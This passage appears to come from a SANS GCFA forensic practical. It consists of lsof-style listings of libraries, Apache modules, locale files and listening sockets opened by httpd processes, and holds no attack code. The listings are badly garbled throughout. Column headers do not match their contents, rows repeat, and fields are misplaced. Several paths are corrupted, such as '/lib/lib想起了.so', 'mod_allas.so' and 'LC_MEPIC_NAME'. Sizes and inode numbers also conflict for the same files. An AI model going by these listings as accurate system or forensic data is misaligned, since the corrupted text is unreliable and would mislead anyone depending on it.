httpd 10612 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3

httpd 10612 root mem REG 3,2 14681 66089 /usr/lib/libcurl.so.2.0.2

httpd 10612 root mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b

httpd 10612 root mem REG 3,5 207008 63563 /lib/libssl.so.0.9.6b

httpd 10612 root mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so

httpd 10612 root mem REG 3,2 153026 66042 /usr/lib/libpspell.so.4.0.3

```

<table>
<thead>
<tr>
<th>Command</th>
<th>User</th>
<th>Group</th>
<th>Mode</th>
<th>Size (bytes)</th>
<th>Path Interpretation</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>17638 /usr/lib/apache/mod_log_config.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>7438 /usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8530 /usr/lib/apache/mod_log_referer.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8274 /usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>171 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>101902 /lib/i686/libpthread-0.9.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173359 /lib/i686/libm-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>23575 /lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>30282 /lib/libdbm.so.2.0.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>655224 /lib/libdb-3.3.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>23575 /lib/lib想起了.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>141735 /lib/libexpat.so.0.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>12102 /lib/libsl-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14929 /lib/apache/mod_mime.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27415 /lib/apache/mod_negotiation.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>18365 /lib/apache/mod_status.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19959 /lib/apache/mod_info.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35886 /lib/apache/mod_include.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27836 /lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14940 /lib/apache/modcgi.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>6924 /lib/apache/modaxis.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>15974 /lib/apache/mod imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8541 /lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8770 /lib/apache/moduserdir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10617 /lib/apache/mod_allas.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>53189 /lib/apache/mod_rewrite.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10034 /lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11985 /lib/apache/modauth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486 /lib/apache/modauth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9304 /lib/apache/modauth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9900 /lib/apache/modauth_exp.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261 /lib/apache/modheaders.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176 /lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>92407 /lib/libexpat.so</td>
</tr>
<tr>
<td>/usr/kerberos/lib/libspnego_krb5.so.2.2</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEPIC_NAME</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDR</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>58 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES(SYS_LC_MESSAGES)</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>29 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>22592 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Memory</td>
<td>Type</td>
<td>Size (bytes)</td>
<td>Path</td>
</tr>
<tr>
<td>------------------</td>
<td>----------</td>
<td>--------</td>
<td>------</td>
<td>--------------</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 153026</td>
<td>/usr/lib/libspelling.so.4.0.3</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 290511</td>
<td>/usr/lib/libncurses.so.5.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 215482</td>
<td>/usr/lib/libgmp.so.3.2.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 196866</td>
<td>/usr/lib/libgd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 717774</td>
<td>/usr/lib/libstdc++.so.2.19</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 66646</td>
<td>/usr/lib/libbz2.so.1.0.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 189626</td>
<td>/usr/lib/libttf.so.2.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 295833</td>
<td>/usr/lib/libfreeetype.so.6.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 140418</td>
<td>/usr/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 79725</td>
<td>400448</td>
</tr>
<tr>
<td>/usr/lib/libldap.so.2.0.15</td>
<td></td>
<td></td>
<td>REG</td>
<td>3,5 89547</td>
<td>/lib/libldap.so.2.0.15</td>
</tr>
<tr>
<td>sr/lib/libldap.so.2.0.15</td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2 717774</td>
<td>/usr/lib/libstdc++.so.2.19</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 44992</td>
<td>65349 /usr/lib/libbber.so.2.0.15</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5 45415</td>
<td>65325 /lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 2457</td>
<td>130317</td>
</tr>
<tr>
<td>/usr/lib/libgmp.so.3.2.1</td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2 10617</td>
<td>229495 /usr/lib/libgmp.so.3.2.1</td>
</tr>
<tr>
<td>/usr/lib/libjpeg.so.62.0.0</td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2 10617</td>
<td>229495 /usr/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_alias.so</td>
<td></td>
<td></td>
<td>REG</td>
<td>3,5 19959</td>
<td>229495 /usr/lib/apache/mod_alias.so</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_actions.so</td>
<td></td>
<td></td>
<td>REG</td>
<td>3,5 15974</td>
<td>229495 /usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_autoindex.so</td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2 8301</td>
<td>229505 /usr/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_base.so</td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2 8301</td>
<td>229505 /usr/lib/apache/mod_base.so</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_cgi.so</td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2 19959</td>
<td>229505 /usr/lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2 14929</td>
<td>229516 /usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_env.so</td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2 14929</td>
<td>229516 /usr/lib/apache/mod_env.so</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_actions.so</td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2 14929</td>
<td>229516 /usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_log_agent.so</td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2 14929</td>
<td>229516 /usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_log_request.so</td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2 14929</td>
<td>229516 /usr/lib/apache/mod_log_request.so</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_log_referer.so</td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2 14929</td>
<td>229516 /usr/lib/apache/mod_log_referer.so</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_log_config.so</td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2 14929</td>
<td>229516 /usr/lib/apache/mod_log_config.so</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_userdir.so</td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2 14929</td>
<td>229516 /usr/lib/apache/mod_userdir.so</td>
</tr>
</tbody>
</table>

Kevin Miller - Sans GCFA Assignment – v1.4
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Group</th>
<th>Flags</th>
<th>Offset</th>
<th>Size</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10034</td>
<td>/usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11985</td>
<td>/usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>/usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Priority</th>
<th>mode</th>
<th>Size</th>
<th>Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>11174</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89424</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>153026</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>290511</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>215482</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>717774</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>42069</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>44992</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>2457</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1729</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>0</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>26691</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1264225</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>427611</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>191615</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>48583</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>46117</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1401027</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>0r</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>2w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP *:https (LISTEN)</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP *:http (LISTEN)</td>
</tr>
<tr>
<td>Command</td>
<td>User</td>
<td>Group</td>
<td>Mode</td>
<td>Size</td>
<td>Date/Time</td>
</tr>
<tr>
<td>---------</td>
<td>------</td>
<td>-------</td>
<td>------</td>
<td>------</td>
<td>-----------</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,6</td>
<td>265</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1024</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1024</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>29016</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9883</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8301</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>17638</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>7438</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8530</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8274</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>371</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>15974</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27415</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>12102</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14292</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27415</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19365</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19559</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35886</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27836</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14940</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>6924</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>15974</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8541</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8770</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10617</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>53189</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10034</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11985</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>92407</td>
</tr>
</tbody>
</table>

Kevin Miller - Sans GCFA Assignment – v1.4
Page 157

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
httpd 19369 root mem REG 3,2 426442 65304 /usr/lib/libstdc++.so.2.2.5
httpd 19369 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.0.10.0
httpd 19369 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
httpd 19369 root mem REG 3,2 146819 66089 /usr/lib/libxml2.so.2.3.2
httpd 19369 root mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
httpd 19369 root mem REG 3,5 207008 63563 /lib/libssl.so.0.9.6b
httpd 19369 root mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
httpd 19369 root mem REG 3,2 153026 66042 /lib/libnsspell.so.4.0.3
httpd 19369 root mem REG 3,2 290511 65311 /lib/libnsscache.so.0.5.2
httpd 19369 root mem REG 3,2 215482 65386 /lib/libgmp.so.3.2.1
httpd 19369 root mem REG 3,5 156866 66287 /lib/libgd.so.1.8.4
httpd 19369 root mem REG 3,5 717774 65410 /lib/libxml2.so.2.4.19
httpd 19369 root mem REG 3,2 66646 65263 /lib/libbz2.so.1.0.2
httpd 19369 root mem REG 3,2 189626 65384 /lib/libtiff.so.2.3.0
httpd 19369 root mem REG 3,2 295833 65382 /lib/libfreetype.so.6.3.0
httpd 19369 root mem REG 3,2 140418 65389 /lib/libjpeg.so.62.0.0
httpd 19369 root mem REG 3,2 79725 440048 /libRecurrence
httpd 19369 root mem REG 3,2 42069 425002 /lib/php/ldap.so
httpd 19369 root mem REG 3,2 44992 65349 /lib/libbber.so.2.0.15
httpd 19369 root mem REG 3,5 45415 63523 /lib/libnss_files.so
httpd 19369 root mem REG 3,2 9370 229511 /usr/lib/apache/mod_include.so
httpd 19369 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 19369 root mem REG 3,2 14929 229516 /usr/lib/apache/mod_mime.so
httpd 19369 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 19369 root mem REG 3,5 156866 65384 /lib/libgmp.so.3.2.1
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Group</th>
<th>Mode</th>
<th>PID</th>
<th>RSS</th>
<th>PSS</th>
<th>ADDR</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>27836</td>
<td>229501</td>
<td>/usr/lib/apache/mod_autoindex.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>14940</td>
<td>229503</td>
<td>/usr/lib/apache/mod_cgi.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>6924</td>
<td>229496</td>
<td>/usr/lib/apache/mod_asis.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>15974</td>
<td>229510</td>
<td>/usr/lib/apache/mod_imap.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8341</td>
<td>229494</td>
<td>/usr/lib/apache/mod_actions.so</td>
<td></td>
